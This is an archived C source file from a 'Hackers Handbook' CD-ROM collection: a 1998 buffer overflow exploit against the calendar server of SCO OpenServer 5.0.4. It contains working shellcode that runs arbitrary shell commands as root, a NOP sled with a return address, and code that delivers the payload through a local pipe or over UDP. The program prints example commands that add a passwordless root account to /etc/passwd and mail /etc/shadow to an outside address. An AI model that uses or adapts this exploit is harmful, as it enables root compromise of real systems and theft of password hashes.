home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / sco-calserver-bof.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-04-11  |  7.5 KB  |  196 lines
  1. /*
  2.                                    ... The punishment for inobedience ...
  3.  
  4.         This is a local/remote buffer overflow exploit for calserver bug
  5.                  (SCO OpenServer Enterprise System v 5.0.4p).
  6.              If you have any problems with it, drop me a letter.
  7.                               Happy New Year !
  8.  
  9.  
  10.    *** Brief manual ***
  11.  
  12.        Local mode is a default  mode for the calendar  server.  If calserver
  13.    runs on your site  in this mode  just try  to run  the exploit  with only
  14.    argument  "local".  If calserver operates  on your or other sites  in the
  15.    network mode you should use exploit with two arguments:  "<sitename>" and
  16.    "<portnumber>".  Portnumber is usually equal to 6373 but other values are
  17.    possible.  Don't use  "localhost" or "127.0.0.1"  as a  <sitename>. Check
  18.    "/usr/lib/scosh/calargs"  file to see  the current mode  of the  calendar
  19.    server.
  20.        Execution  of  the exploit is similar  to a  blind  execution  of the
  21.    following command with root permissions: "/bin/sh -c <command>".
  22.        There are a  few  limitations for number and length of  commands. The
  23.    length  of  a  command  should  not  exceed  75  symbols.  The number  of
  24.    executable commands depends on calserver configuration and it is equal to
  25.    the number  of child calendar servers  which  are basically 4 by default.
  26.    Therefore  running of this exploit  must be very effective.  You are free
  27.    to use sequences of a shell commands separated by ";" as a <command>.
  28.  
  29.                                    9.999,99
  30.  
  31.                             ----------------------
  32.                 ---------------------------------------------
  33.      -----------------   Dedicated to my beautiful lady   ------------------
  34.                 ---------------------------------------------
  35.                             ----------------------
  36.  
  37.            Leshka Zakharoff, 1998. E-mail: leshka@leshka.chuvashia.su
  38.  
  39.  
  40. */
  41. #include   <stdio.h>
  42. #include   <fcntl.h>
  43. #include   <netdb.h>
  44. #include   <sys/types.h>
  45. #include   <sys/socket.h>
  46. #include   <netinet/in.h>
  47.  
  48. main(argc, argv)
  49.     int    argc;
  50.     char   *argv[];
  51. {
  52. #define    calserver_pipe "/usr/lib/scosh/pipes/pdg18e5_0000"
  53. #define    start_addr 0x7ffffd80
  54. #define    hostnamelen 100
  55. #define    portnumberlen 10
  56. #define    cmdlen 80
  57.     char   hostname[hostnamelen],portnumber[portnumberlen],cmd[cmdlen];
  58.     char   *hn,*pn;
  59.     int    s;
  60.     struct sockaddr_in sin;
  61.     struct hostent *hp, *gethostbyname();
  62.     char   msg[850];
  63.     char   *msghdr=
  64.            "\x00\x00\x00\x00"                  // message length
  65.            "\x00\x00\x00\x00"
  66.            "\x00\x00\x00\x00"
  67.            "\x00\x00\x00\x00"
  68.            "\x00\x00\x00\x00"
  69.            "\xff\xff\xff\xff"
  70.            "\x00\x00\x00\x00"
  71.            "\x00\x00\x00\x00"
  72.            "\x00\x00\x00\x00"
  73.            "\x00\x00\x00\x00"
  74.            "\x00\x00\x00\x00"                  // packet_sz
  75.            "\x1c\x00\x00\x00"                  // opcode
  76.            "\x00\x00\x00\x00";                 // maxmsgsz
  77.     char   codes[]=
  78.            {
  79.            "\xeb\x7f"                   //start : jmp     cont
  80.            "\x5d"                       //geteip: popl    %ebp
  81.            "\x55"                              // pushl   %ebp
  82.            "\xfe\x4d\x98"                      // decb    0xffffff98(%ebp)
  83.            "\xfe\x4d\x9b"                      // decb    0xffffff9b(%ebp)
  84.            "\xfe\x4d\xe7"                      // decb    0xffffffe7(%ebp)
  85.            "\xfe\x4d\xeb"                      // decb    0xffffffeb(%ebp)
  86.            "\xfe\x4d\xec"                      // decb    0xffffffec(%ebp)
  87.            "\xfe\x4d\xed"                      // decb    0xffffffed(%ebp)
  88.            "\xff\x45\xef"                      // incl    0xffffffef(%ebp)
  89.            "\xfe\x4d\xf4"                      // decb    0xfffffff4(%ebp)
  90.            "\xc3"                              // ret
  91.            "/bin/sh"                           //
  92.            "\x01"                              // 0xffffff98(%ebp)
  93.            "-c"
  94.            "\x01"                              // 0xffffff9b(%ebp)
  95.            "                                      "
  96.            "                                     "
  97.            "\x01"                              // 0xffffffe7(%ebp)
  98.            "\x8d\x05\x3b\x01\x01\x01"   //execv : leal    0x3b,%eax
  99.            "\x9a\xff\xff\xff\xff\x07\x01"      // lcall   0x7,0x0
  100.            "\xc7\xc4\xff\xff\xff\xff"   //cont  : movl    $0xXXXX,%esp
  101.            "\xe8\x76\xff\xff\xff"              // call    geteip
  102.            "\x33\xc0"                          // xorl    %eax,%eax
  103.            "\x50"                              // pushl   %eax
  104.            "\x81\xc5\x9c\xff\xff\xff"          // addl    $0xffffff9c,%ebp
  105.            "\x55"                              // pushl   %ebp
  106.            "\x81\xc5\xfd\xff\xff\xff"          // addl    $0xfffffffd,%ebp
  107.            "\x55"                              // pushl   %ebp
  108.            "\x81\xc5\xf8\xff\xff\xff"          // addl    $0xfffffff8,%ebp
  109.            "\x55"                              // pushl   %ebp
  110.            "\x55"                              // pushl   %ebp
  111.            "\x5b"                              // pop     %ebx
  112.            "\x8b\xec"                          // movl    %esp,%ebp
  113.            "\x50"                              // pushl   %eax
  114.            "\x55"                              // pushl   %ebp
  115.            "\x53"                              // pushl   %ebx
  116.            "\x50"                              // pushl   %eax
  117.            "\xeb\xc6"                          // jmp     execv
  118.            };
  119.  
  120.     if (argc<2)
  121.        {
  122.         printf("Host [local] : ");
  123.         gets(hostname);
  124.         if (!strlen(hostname)) strcpy(hostname,"local");
  125.         hn=hostname;
  126.        }
  127.     else
  128.         hn=argv[1];
  129.  
  130.     if ((argc<3)&&strcmp("local",hn))
  131.        {
  132.         printf("Port [6373]  : ");
  133.         gets(portnumber);
  134.         if (!strlen(portnumber)) strcpy(portnumber,"6373");
  135.         pn=portnumber;
  136.        }
  137.     else
  138.         pn=argv[2];
  139.  
  140.     printf("Type a command  (max length=75),  for example   :\n");
  141.     printf("\"echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd\"\n");
  142.     printf("\"mail leshka@leshka.chuvashia.su</etc/shadow\"\n");
  143.     printf(" <-----------------------------------75");
  144.     printf("------------------------------------>\n>");
  145.     gets(cmd);
  146.     memcpy(codes+40,cmd,strlen(cmd));
  147.  
  148.     memset(msg,'\x90',600);
  149.     memcpy(msg,msghdr,52);
  150.     *(unsigned long*) (msg+201)= *(unsigned long*) (codes+131) = start_addr;
  151.     memcpy(msg+600,codes,strlen(codes));
  152.  
  153.     if (!strcmp("local",hn))
  154.        {
  155.         * (unsigned long*) msg = (unsigned long) (600+strlen(codes)-4);
  156.         if ((s=open(calserver_pipe,O_WRONLY)) == -1)
  157.            {
  158.             printf("Error opening calserver pipe\n");
  159.             exit(1);
  160.            };
  161.         if (write(s,msg,600+strlen(codes)) == -1)
  162.            {
  163.             printf("Error writing to the calserver pipe\n");
  164.             exit(1);
  165.            };
  166.         exit(0);
  167.        };
  168.  
  169.     hp = gethostbyname(hn);
  170.     if (hp == 0)
  171.        {
  172.         herror("gethostbyname");
  173.         exit(1);
  174.        }
  175.     memcpy(&sin.sin_addr,hp->h_addr,hp->h_length);
  176.     sin.sin_family = hp->h_addrtype;
  177.     sin.sin_port = htons(atoi(pn));
  178.     if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
  179.        {
  180.         perror("socket");
  181.         exit(1);
  182.        }
  183.     if (connect(s, (struct sockaddr *) &sin, sizeof(sin)) == -1)
  184.        {
  185.         perror("connect");
  186.         exit(1);
  187.        }
  188.     if (write(s, msg+12,600-12+strlen(codes)) == -1)
  189.        {
  190.         perror("write");
  191.         exit(1);
  192.        }
  193.     close(s);
  194. }
  195.  
  196.